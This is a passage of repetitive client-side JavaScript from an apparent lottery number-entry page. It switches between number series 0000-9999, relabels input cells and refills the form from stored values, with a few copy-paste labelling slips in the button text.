				setRightSideValue();
				if(seriesArr[74].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[74][i]){
						document.getElementById(i).value = parseInt(seriesArr[74][i]);
						}
					}
				}
			}else if(sr == 75){
				window.hideLotNum = 75;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (7500+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[75].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[75][i]){
						document.getElementById(i).value = parseInt(seriesArr[75][i]);
						}
					}
				}
			}else if(sr == 76){
				window.hideLotNum = 76;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (7600+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[76].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[76][i]){
						document.getElementById(i).value = parseInt(seriesArr[76][i]);
						}
					}
				}
			}else if(sr == 77){
				window.hideLotNum = 77;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (7700+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[77].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[77][i]){
						document.getElementById(i).value = parseInt(seriesArr[77][i]);
						}
					}
				}
			}else if(sr == 78){
				window.hideLotNum = 78;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (7800+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[78].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[78][i]){
						document.getElementById(i).value = parseInt(seriesArr[78][i]);
						}
					}
				}
			}else if(sr == 79){
				window.hideLotNum = 79;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (7900+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[79].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[79][i]){
						document.getElementById(i).value = parseInt(seriesArr[79][i]);
						}
					}
				}
			}else if(sr == 80){
				window.hideLotNum = 80;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (8000+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[80].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[80][i]){
						document.getElementById(i).value = parseInt(seriesArr[80][i]);
						}
					}
				}
			}else if(sr == 81){
				window.hideLotNum = 81;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (8100+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[81].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[81][i]){
						document.getElementById(i).value = parseInt(seriesArr[81][i]);
						}
					}
				}
			}else if(sr == 82){
				window.hideLotNum = 82;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (8200+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[82].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[82][i]){
						document.getElementById(i).value = parseInt(seriesArr[82][i]);
						}
					}
				}
			}else if(sr == 83){
				window.hideLotNum = 83;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (8300+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[83].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[83][i]){
						document.getElementById(i).value = parseInt(seriesArr[83][i]);
						}
					}
				}
			}else if(sr == 84){
				window.hideLotNum = 84;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (8400+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[84].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[84][i]){
						document.getElementById(i).value = parseInt(seriesArr[84][i]);
						}
					}
				}
			}else if(sr == 85){
				window.hideLotNum = 85;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (8500+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[85].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[85][i]){
						document.getElementById(i).value = parseInt(seriesArr[85][i]);
						}
					}
				}
			}else if(sr == 86){
				window.hideLotNum = 86;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (8600+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[86].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[86][i]){
						document.getElementById(i).value = parseInt(seriesArr[86][i]);
						}
					}
				}
			}else if(sr == 87){
				window.hideLotNum = 87;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (8700+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[87].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[87][i]){
						document.getElementById(i).value = parseInt(seriesArr[87][i]);
						}
					}
				}
			}else if(sr == 88){
				window.hideLotNum = 88;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (8800+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[88].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[88][i]){
						document.getElementById(i).value = parseInt(seriesArr[88][i]);
						}
					}
				}
			}else if(sr == 89){
				window.hideLotNum = 89;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (8900+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[89].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[89][i]){
						document.getElementById(i).value = parseInt(seriesArr[89][i]);
						}
					}
				}
			}else if(sr == 90){
				window.hideLotNum = 90;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (9000+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[90].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[90][i]){
						document.getElementById(i).value = parseInt(seriesArr[90][i]);
						}
					}
				}
			}else if(sr == 91){
				window.hideLotNum = 91;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (9100+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[91].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[91][i]){
						document.getElementById(i).value = parseInt(seriesArr[91][i]);
						}
					}
				}
			}else if(sr == 92){
				window.hideLotNum = 92;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (9200+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[92].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[92][i]){
						document.getElementById(i).value = parseInt(seriesArr[92][i]);
						}
					}
				}
			}else if(sr == 93){
				window.hideLotNum = 93;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (9300+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[93].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[93][i]){
						document.getElementById(i).value = parseInt(seriesArr[93][i]);
						}
					}
				}
			}else if(sr == 94){
				window.hideLotNum = 94;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (9400+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[94].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[94][i]){
						document.getElementById(i).value = parseInt(seriesArr[94][i]);
						}
					}
				}
			}else if(sr == 95){
				window.hideLotNum = 95;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (9500+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[95].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[95][i]){
						document.getElementById(i).value = parseInt(seriesArr[95][i]);
						}
					}
				}
			}else if(sr == 96){
				window.hideLotNum = 96;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (9600+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[96].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[96][i]){
						document.getElementById(i).value = parseInt(seriesArr[96][i]);
						}
					}
				}
			}else if(sr == 97){
				window.hideLotNum = 97;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (9700+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[97].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[97][i]){
						document.getElementById(i).value = parseInt(seriesArr[97][i]);
						}
					}
				}
			}else if(sr == 98){
				window.hideLotNum = 98;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (9800+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[98].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[98][i]){
						document.getElementById(i).value = parseInt(seriesArr[98][i]);
						}
					}
				}
			}else if(sr == 99){
				window.hideLotNum = 99;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (9900+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[99].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[99][i]){
						document.getElementById(i).value = parseInt(seriesArr[99][i]);
						}
					}
				}
			}
			
		}
		function showSeries(sr){
			if(sr == '00'){
				document.getElementById('sr0').innerHTML = '<input class="side-btn" type="button" value="0000-0099" style="background-color:#f9a98e" onclick="showSeriesCaptionValue('+"0"+')">';
				document.getElementById('sr1').innerHTML = '<input class="side-btn" type="button" value="0100-0199" style="background-color:#71f4c3"  onclick="showSeriesCaptionValue('+"1"+')">'; 
				document.getElementById('sr2').innerHTML = '<input class="side-btn" type="button" value="0200-0299" style="background-color:#ffda6c" onclick="showSeriesCaptionValue('+"2"+')">'; 
				document.getElementById('sr3').innerHTML = '<input class="side-btn" type="button" value="0300-0399" style="background-color:#a7daf9" onclick="showSeriesCaptionValue('+"3"+')">'; 
				document.getElementById('sr4').innerHTML = '<input class="side-btn" type="button" value="0400-0499" style="background-color:#9afb8d" onclick="showSeriesCaptionValue('+"4"+')">'; 
				document.getElementById('sr5').innerHTML = '<input class="side-btn" type="button" value="0500-0599" style="background-color:#eeb3ff" onclick="showSeriesCaptionValue('+"5"+')">'; 
				document.getElementById('sr6').innerHTML = '<input class="side-btn" type="button" value="0600-0699" style="background-color:#dddbdd" onclick="showSeriesCaptionValue('+"6"+')">'; 
				document.getElementById('sr7').innerHTML = '<input class="side-btn" type="button" value="0700-0799" style="background-color:#7bbed9" onclick="showSeriesCaptionValue('+"7"+')">'; 
				document.getElementById('sr8').innerHTML = '<input class="side-btn" type="button" value="0800-0899" style="background-color:#f7de5d" onclick="showSeriesCaptionValue('+"8"+')">'; 
				document.getElementById('sr9').innerHTML = '<input class="side-btn" type="button" value="0900-0999" style="background-color:#fba769" onclick="showSeriesCaptionValue('+"9"+')">'; 
				
				for(var i = 0;i<=99;i++){
						var val = '';
						if(i < 9){
							val = '000'+i;
						}else{
							val = '00'+i;
						}
						document.getElementById('p'+i).innerHTML=val;
				}
				window.hideSeries = '0000';
				window.hideLotNum = 0;
				setRightSideValue();
				document.getElementById('frmLottery').reset();
				if(seriesArr[0].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[0][i]){
						document.getElementById(i).value = parseInt(seriesArr[0][i]);
						}
					}
				}
				
				
			}else if(sr == '10'){
				document.getElementById('sr0').innerHTML = '<input class="side-btn" type="button" value="1000-1099" style="background-color:#f9a98e" onclick="showSeriesCaptionValue('+"10"+')">';
				document.getElementById('sr1').innerHTML = '<input class="side-btn" type="button" value="1100-1199" style="background-color:#71f4c3" onclick="showSeriesCaptionValue('+"11"+')">'; 
				document.getElementById('sr2').innerHTML = '<input class="side-btn" type="button" value="1200-1299" style="background-color:#ffda6c" onclick="showSeriesCaptionValue('+"12"+')">'; 
				document.getElementById('sr3').innerHTML = '<input class="side-btn" type="button" value="1300-1399" style="background-color:#a7daf9" onclick="showSeriesCaptionValue('+"13"+')">'; 
				document.getElementById('sr4').innerHTML = '<input class="side-btn" type="button" value="1400-1499" style="background-color:#9afb8d" onclick="showSeriesCaptionValue('+"14"+')">'; 
				document.getElementById('sr5').innerHTML = '<input class="side-btn" type="button" value="1500-1599" style="background-color:#eeb3ff" onclick="showSeriesCaptionValue('+"15"+')">'; 
				document.getElementById('sr6').innerHTML = '<input class="side-btn" type="button" value="1600-1699" style="background-color:#dddbdd" onclick="showSeriesCaptionValue('+"16"+')">'; 
				document.getElementById('sr7').innerHTML = '<input class="side-btn" type="button" value="1700-1799" style="background-color:#7bbed9" onclick="showSeriesCaptionValue('+"17"+')">'; 
				document.getElementById('sr8').innerHTML = '<input class="side-btn" type="button" value="1800-1899" style="background-color:#f7de5d" onclick="showSeriesCaptionValue('+"18"+')">'; 
				document.getElementById('sr9').innerHTML = '<input class="side-btn" type="button" value="1900-1999" style="background-color:#fba769" onclick="showSeriesCaptionValue('+"19"+')">'; 
				for(var i = 0;i<=99;i++){
						document.getElementById('p'+i).innerHTML=(1000+i);
				}
				window.hideSeries = '1000';
				window.hideLotNum = 10;
				
				setRightSideValue();
				document.getElementById('frmLottery').reset();
				if(seriesArr[10].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[10][i]){
						document.getElementById(i).value = parseInt(seriesArr[10][i]);
						}
					}
				}
			}else if(sr == '20'){
				document.getElementById('sr0').innerHTML = '<input class="side-btn" type="button" value="2000-2099" style="background-color:#f9a98e" onclick="showSeriesCaptionValue('+"20"+')">';
				document.getElementById('sr1').innerHTML = '<input class="side-btn" type="button" value="2100-2199" style="background-color:#71f4c3" onclick="showSeriesCaptionValue('+"21"+')">'; 
				document.getElementById('sr2').innerHTML = '<input class="side-btn" type="button" value="2200-2299" style="background-color:#ffda6c" onclick="showSeriesCaptionValue('+"22"+')">'; 
				document.getElementById('sr3').innerHTML = '<input class="side-btn" type="button" value="2300-2399" style="background-color:#a7daf9" onclick="showSeriesCaptionValue('+"23"+')">'; 
				document.getElementById('sr4').innerHTML = '<input class="side-btn" type="button" value="2400-2499" style="background-color:#9afb8d" onclick="showSeriesCaptionValue('+"24"+')">'; 
				document.getElementById('sr5').innerHTML = '<input class="side-btn" type="button" value="2500-2599" style="background-color:#eeb3ff" onclick="showSeriesCaptionValue('+"25"+')">'; 
				document.getElementById('sr6').innerHTML = '<input class="side-btn" type="button" value="2500-2599" style="background-color:#dddbdd" onclick="showSeriesCaptionValue('+"26"+')">'; 
				document.getElementById('sr7').innerHTML = '<input class="side-btn" type="button" value="2700-2799" style="background-color:#7bbed9" onclick="showSeriesCaptionValue('+"27"+')">'; 
				document.getElementById('sr8').innerHTML = '<input class="side-btn" type="button" value="2800-2899" style="background-color:#f7de5d" onclick="showSeriesCaptionValue('+"28"+')">'; 
				document.getElementById('sr9').innerHTML = '<input class="side-btn" type="button" value="2900-2999" style="background-color:#fba769" onclick="showSeriesCaptionValue('+"29"+')">'; 
				for(var i = 0;i<=99;i++){
						document.getElementById('p'+i).innerHTML=(2000+i);
				}
				window.hideSeries = '2000';
				window.hideLotNum = 20;
				setRightSideValue();
				document.getElementById('frmLottery').reset();
				if(seriesArr[20].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[20][i]){
						document.getElementById(i).value = parseInt(seriesArr[20][i]);
						}
					}
				}
			}
			else if(sr == '30'){
				document.getElementById('sr0').innerHTML = '<input class="side-btn" type="button" value="3000-3099" style="background-color:#f9a98e" onclick="showSeriesCaptionValue('+"30"+')">';
				document.getElementById('sr1').innerHTML = '<input class="side-btn" type="button" value="3100-3199" style="background-color:#71f4c3" onclick="showSeriesCaptionValue('+"31"+')">'; 
				document.getElementById('sr2').innerHTML = '<input class="side-btn" type="button" value="3200-3299" style="background-color:#ffda6c" onclick="showSeriesCaptionValue('+"32"+')">'; 
				document.getElementById('sr3').innerHTML = '<input class="side-btn" type="button" value="3300-3399" style="background-color:#a7daf9" onclick="showSeriesCaptionValue('+"33"+')">'; 
				document.getElementById('sr4').innerHTML = '<input class="side-btn" type="button" value="3400-3499" style="background-color:#9afb8d" onclick="showSeriesCaptionValue('+"34"+')">'; 
				document.getElementById('sr5').innerHTML = '<input class="side-btn" type="button" value="3500-3599" style="background-color:#eeb3ff" onclick="showSeriesCaptionValue('+"35"+')">'; 
				document.getElementById('sr6').innerHTML = '<input class="side-btn" type="button" value="3600-3699" style="background-color:#dddbdd" onclick="showSeriesCaptionValue('+"36"+')">'; 
				document.getElementById('sr7').innerHTML = '<input class="side-btn" type="button" value="3700-3799" style="background-color:#7bbed9" onclick="showSeriesCaptionValue('+"37"+')">'; 
				document.getElementById('sr8').innerHTML = '<input class="side-btn" type="button" value="3800-3899" style="background-color:#f7de5d" onclick="showSeriesCaptionValue('+"38"+')">'; 
				document.getElementById('sr9').innerHTML = '<input class="side-btn" type="button" value="3900-3999" style="background-color:#fba769" onclick="showSeriesCaptionValue('+"39"+')">';
				for(var i = 0;i<=99;i++){
						document.getElementById('p'+i).innerHTML=(3000+i);
				} 
				window.hideSeries = '3000';
				window.hideLotNum = 30;
				setRightSideValue();
				document.getElementById('frmLottery').reset();
				if(seriesArr[30].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[30][i]){
						document.getElementById(i).value = parseInt(seriesArr[30][i]);
						}
					}
				}
			}else if(sr == '40'){
				document.getElementById('sr0').innerHTML = '<input class="side-btn" type="button" value="4000-4099" style="background-color:#f9a98e" onclick="showSeriesCaptionValue('+"40"+')">';
				document.getElementById('sr1').innerHTML = '<input class="side-btn" type="button" value="4100-4199" style="background-color:#71f4c3" onclick="showSeriesCaptionValue('+"41"+')">'; 
				document.getElementById('sr2').innerHTML = '<input class="side-btn" type="button" value="4200-4299" style="background-color:#ffda6c" onclick="showSeriesCaptionValue('+"42"+')">'; 
				document.getElementById('sr3').innerHTML = '<input class="side-btn" type="button" value="4300-4399" style="background-color:#a7daf9" onclick="showSeriesCaptionValue('+"43"+')">'; 
				document.getElementById('sr4').innerHTML = '<input class="side-btn" type="button" value="4400-4499" style="background-color:#9afb8d" onclick="showSeriesCaptionValue('+"44"+')">'; 
				document.getElementById('sr5').innerHTML = '<input class="side-btn" type="button" value="4500-4599" style="background-color:#eeb3ff" onclick="showSeriesCaptionValue('+"45"+')">'; 
				document.getElementById('sr6').innerHTML = '<input class="side-btn" type="button" value="4600-4699" style="background-color:#dddbdd" onclick="showSeriesCaptionValue('+"46"+')">'; 
				document.getElementById('sr7').innerHTML = '<input class="side-btn" type="button" value="4700-4799" style="background-color:#7bbed9" onclick="showSeriesCaptionValue('+"47"+')">'; 
				document.getElementById('sr8').innerHTML = '<input class="side-btn" type="button" value="4800-4899" style="background-color:#f7de5d" onclick="showSeriesCaptionValue('+"48"+')">'; 
				document.getElementById('sr9').innerHTML = '<input class="side-btn" type="button" value="4900-4999" style="background-color:#fba769" onclick="showSeriesCaptionValue('+"49"+')">'; 
				for(var i = 0;i<=99;i++){
						document.getElementById('p'+i).innerHTML=(4000+i);
				}
				window.hideSeries = '4000';
				window.hideLotNum = 40;
				setRightSideValue();
				document.getElementById('frmLottery').reset();
				if(seriesArr[40].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[40][i]){
						document.getElementById(i).value = parseInt(seriesArr[40][i]);
						}
					}
				}
			}else if(sr == '50'){
				document.getElementById('sr0').innerHTML = '<input class="side-btn" type="button" value="5000-5099" style="background-color:#f9a98e" onclick="showSeriesCaptionValue('+"50"+')">';
				document.getElementById('sr1').innerHTML = '<input class="side-btn" type="button" value="5100-5199" style="background-color:#71f4c3" onclick="showSeriesCaptionValue('+"51"+')">'; 
				document.getElementById('sr2').innerHTML = '<input class="side-btn" type="button" value="5200-5299" style="background-color:#ffda6c" onclick="showSeriesCaptionValue('+"52"+')">'; 
				document.getElementById('sr3').innerHTML = '<input class="side-btn" type="button" value="5300-5399" style="background-color:#a7daf9" onclick="showSeriesCaptionValue('+"53"+')">'; 
				document.getElementById('sr4').innerHTML = '<input class="side-btn" type="button" value="5400-5499" style="background-color:#9afb8d" onclick="showSeriesCaptionValue('+"54"+')">'; 
				document.getElementById('sr5').innerHTML = '<input class="side-btn" type="button" value="5500-5599" style="background-color:#eeb3ff" onclick="showSeriesCaptionValue('+"55"+')">'; 
				document.getElementById('sr6').innerHTML = '<input class="side-btn" type="button" value="5600-5699" style="background-color:#dddbdd" onclick="showSeriesCaptionValue('+"56"+')">'; 
				document.getElementById('sr7').innerHTML = '<input class="side-btn" type="button" value="5700-5799" style="background-color:#7bbed9" onclick="showSeriesCaptionValue('+"57"+')">'; 
				document.getElementById('sr8').innerHTML = '<input class="side-btn" type="button" value="5800-5899" style="background-color:#f7de5d" onclick="showSeriesCaptionValue('+"58"+')">'; 
				document.getElementById('sr9').innerHTML = '<input class="side-btn" type="button" value="5900-5999" onclick="showSeriesCaptionValue('+"59"+')">';
				for(var i = 0;i<=99;i++){
						document.getElementById('p'+i).innerHTML=(5000+i);
				} 
				window.hideSeries = '5000';
				window.hideLotNum = 50;
				setRightSideValue();
				document.getElementById('frmLottery').reset();
				if(seriesArr[50].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[50][i]){
						document.getElementById(i).value = parseInt(seriesArr[50][i]);
						}
					}
				}
			}else if(sr == '60'){
				document.getElementById('sr0').innerHTML = '<input class="side-btn" type="button" value="6000-6099" style="background-color:#f9a98e" onclick="showSeriesCaptionValue('+"60"+')">';
				document.getElementById('sr1').innerHTML = '<input class="side-btn" type="button" value="6100-6199" style="background-color:#71f4c3" onclick="showSeriesCaptionValue('+"61"+')">'; 
				document.getElementById('sr2').innerHTML = '<input class="side-btn" type="button" value="6200-6299" style="background-color:#ffda6c" onclick="showSeriesCaptionValue('+"62"+')">'; 
				document.getElementById('sr3').innerHTML = '<input class="side-btn" type="button" value="6000-6099" style="background-color:#a7daf9" onclick="showSeriesCaptionValue('+"63"+')">'; 
				document.getElementById('sr4').innerHTML = '<input class="side-btn" type="button" value="6400-6499" style="background-color:#9afb8d" onclick="showSeriesCaptionValue('+"64"+')">'; 
				document.getElementById('sr5').innerHTML = '<input class="side-btn" type="button" value="6500-6599" style="background-color:#eeb3ff" onclick="showSeriesCaptionValue('+"65"+')">'; 
				document.getElementById('sr6').innerHTML = '<input class="side-btn" type="button" value="6600-6699" style="background-color:#dddbdd" onclick="showSeriesCaptionValue('+"66"+')">'; 
				document.getElementById('sr7').innerHTML = '<input class="side-btn" type="button" value="6700-6799" style="background-color:#7bbed9" onclick="showSeriesCaptionValue('+"67"+')">'; 
				document.getElementById('sr8').innerHTML = '<input class="side-btn" type="button" value="6800-6899" style="background-color:#f7de5d" onclick="showSeriesCaptionValue('+"68"+')">'; 
				document.getElementById('sr9').innerHTML = '<input class="side-btn" type="button" value="6900-6999" style="background-color:#fba769" onclick="showSeriesCaptionValue('+"69"+')">'; 
				for(var i = 0;i<=99;i++){
						document.getElementById('p'+i).innerHTML=(6000+i);
				}
				window.hideSeries = '6000';
				window.hideLotNum = 60;
				setRightSideValue();
				document.getElementById('frmLottery').reset();
				if(seriesArr[60].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[60][i]){
						document.getElementById(i).value = parseInt(seriesArr[60][i]);
						}
					}
				}
			}else if(sr == '70'){
				document.getElementById('sr0').innerHTML = '<input class="side-btn" type="button" value="7000-7099" style="background-color:#f9a98e" onclick="showSeriesCaptionValue('+"70"+')">';
				document.getElementById('sr1').innerHTML = '<input class="side-btn" type="button" value="7100-7199" style="background-color:#71f4c3" onclick="showSeriesCaptionValue('+"71"+')">'; 
				document.getElementById('sr2').innerHTML = '<input class="side-btn" type="button" value="7200-7299" style="background-color:#ffda6c" onclick="showSeriesCaptionValue('+"72"+')">'; 
				document.getElementById('sr3').innerHTML = '<input class="side-btn" type="button" value="7300-7399" style="background-color:#a7daf9" onclick="showSeriesCaptionValue('+"73"+')">'; 
				document.getElementById('sr4').innerHTML = '<input class="side-btn" type="button" value="7400-7499" style="background-color:#9afb8d" onclick="showSeriesCaptionValue('+"74"+')">'; 
				document.getElementById('sr5').innerHTML = '<input class="side-btn" type="button" value="7500-7599" style="background-color:#eeb3ff" onclick="showSeriesCaptionValue('+"75"+')">'; 
				document.getElementById('sr6').innerHTML = '<input class="side-btn" type="button" value="7600-7699" style="background-color:#dddbdd" onclick="showSeriesCaptionValue('+"76"+')">'; 
				document.getElementById('sr7').innerHTML = '<input class="side-btn" type="button" value="7700-7799" style="background-color:#7bbed9" onclick="showSeriesCaptionValue('+"77"+')">'; 
				document.getElementById('sr8').innerHTML = '<input class="side-btn" type="button" value="7800-7899" style="background-color:#f7de5d" onclick="showSeriesCaptionValue('+"78"+')">'; 
				document.getElementById('sr9').innerHTML = '<input class="side-btn" type="button" value="7900-7999" style="background-color:#fba769" onclick="showSeriesCaptionValue('+"79"+')">'; 
				for(var i = 0;i<=99;i++){
						document.getElementById('p'+i).innerHTML=(7000+i);
				}
				window.hideSeries = '7000';
				window.hideLotNum = 70;
				setRightSideValue();
				document.getElementById('frmLottery').reset();
				if(seriesArr[70].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[70][i]){
						document.getElementById(i).value = parseInt(seriesArr[70][i]);
						}
					}
				}
			}else if(sr == '80'){
				document.getElementById('sr0').innerHTML = '<input class="side-btn" type="button" value="8000-8099" style="background-color:#f9a98e" onclick="showSeriesCaptionValue('+"80"+')">';
				document.getElementById('sr1').innerHTML = '<input class="side-btn" type="button" value="8100-8199" style="background-color:#71f4c3" onclick="showSeriesCaptionValue('+"81"+')">'; 
				document.getElementById('sr2').innerHTML = '<input class="side-btn" type="button" value="8200-8299" style="background-color:#ffda6c" onclick="showSeriesCaptionValue('+"82"+')">'; 
				document.getElementById('sr3').innerHTML = '<input class="side-btn" type="button" value="8300-8399" style="background-color:#a7daf9" onclick="showSeriesCaptionValue('+"83"+')">'; 
				document.getElementById('sr4').innerHTML = '<input class="side-btn" type="button" value="8400-8499" style="background-color:#9afb8d" onclick="showSeriesCaptionValue('+"84"+')">'; 
				document.getElementById('sr5').innerHTML = '<input class="side-btn" type="button" value="8500-8599" style="background-color:#eeb3ff" onclick="showSeriesCaptionValue('+"85"+')">'; 
				document.getElementById('sr6').innerHTML = '<input class="side-btn" type="button" value="8600-8699" style="background-color:#dddbdd" onclick="showSeriesCaptionValue('+"86"+')">'; 
				document.getElementById('sr7').innerHTML = '<input class="side-btn" type="button" value="8700-8799" style="background-color:#7bbed9" onclick="showSeriesCaptionValue('+"87"+')">'; 
				document.getElementById('sr8').innerHTML = '<input class="side-btn" type="button" value="8800-8899" style="background-color:#f7de5d" onclick="showSeriesCaptionValue('+"88"+')">'; 
				document.getElementById('sr9').innerHTML = '<input class="side-btn" type="button" value="8900-8999" style="background-color:#fba769" onclick="showSeriesCaptionValue('+"89"+')">'; 
				for(var i = 0;i<=99;i++){
						document.getElementById('p'+i).innerHTML=(8000+i);
				}
				window.hideSeries = '8000';
				window.hideLotNum = 80;
				setRightSideValue();
				document.getElementById('frmLottery').reset();
				if(seriesArr[80].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[80][i]){
						document.getElementById(i).value = parseInt(seriesArr[80][i]);
						}
					}
				}
			}else if(sr == '90'){
				document.getElementById('sr0').innerHTML = '<input class="side-btn" type="button" value="9000-9099" style="background-color:#f9a98e" onclick="showSeriesCaptionValue('+"90"+')">';
				document.getElementById('sr1').innerHTML = '<input class="side-btn" type="button" value="9100-9199" style="background-color:#71f4c3" onclick="showSeriesCaptionValue('+"91"+')">'; 
				document.getElementById('sr2').innerHTML = '<input class="side-btn" type="button" value="9200-9299" style="background-color:#ffda6c" onclick="showSeriesCaptionValue('+"92"+')">'; 
				document.getElementById('sr3').innerHTML = '<input class="side-btn" type="button" value="9300-9399" style="background-color:#a7daf9" onclick="showSeriesCaptionValue('+"93"+')">'; 
				document.getElementById('sr4').innerHTML = '<input class="side-btn" type="button" value="9400-9499" style="background-color:#9afb8d" onclick="showSeriesCaptionValue('+"94"+')">'; 
				document.getElementById('sr5').innerHTML = '<input class="side-btn" type="button" value="9500-9599" style="background-color:#eeb3ff" onclick="showSeriesCaptionValue('+"95"+')">'; 
				document.getElementById('sr6').innerHTML = '<input class="side-btn" type="button" value="9600-9699" style="background-color:#dddbdd" onclick="showSeriesCaptionValue('+"96"+')">'; 
				document.getElementById('sr7').innerHTML = '<input class="side-btn" type="button" value="9700-9799" style="background-color:#7bbed9" onclick="showSeriesCaptionValue('+"97"+')">'; 
				document.getElementById('sr8').innerHTML = '<input class="side-btn" type="button" value="9800-9899" style="background-color:#f7de5d" onclick="showSeriesCaptionValue('+"98"+')">'; 
				document.getElementById('sr9').innerHTML = '<input class="side-btn" type="button" value="9900-9999" style="background-color:#fba769" onclick="showSeriesCaptionValue('+"99"+')">'; 
				for(var i = 0;i<=99;i++){
						document.getElementById('p'+i).innerHTML=(9000+i);
				}
				window.hideSeries = '9000';
				window.hideLotNum = 90;
				setRightSideValue();
				document.getElementById('frmLottery').reset();
				if(seriesArr[90].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[90][i]){
						document.getElementById(i).value = parseInt(seriesArr[90][i]);
						}
					}
				}
			}
		}



function setTotalValue(){
	var point = document.querySelector('input[name="rdoUserPoint"]:checked').value;
			//Zero Series Start
			var sum0 = 0;
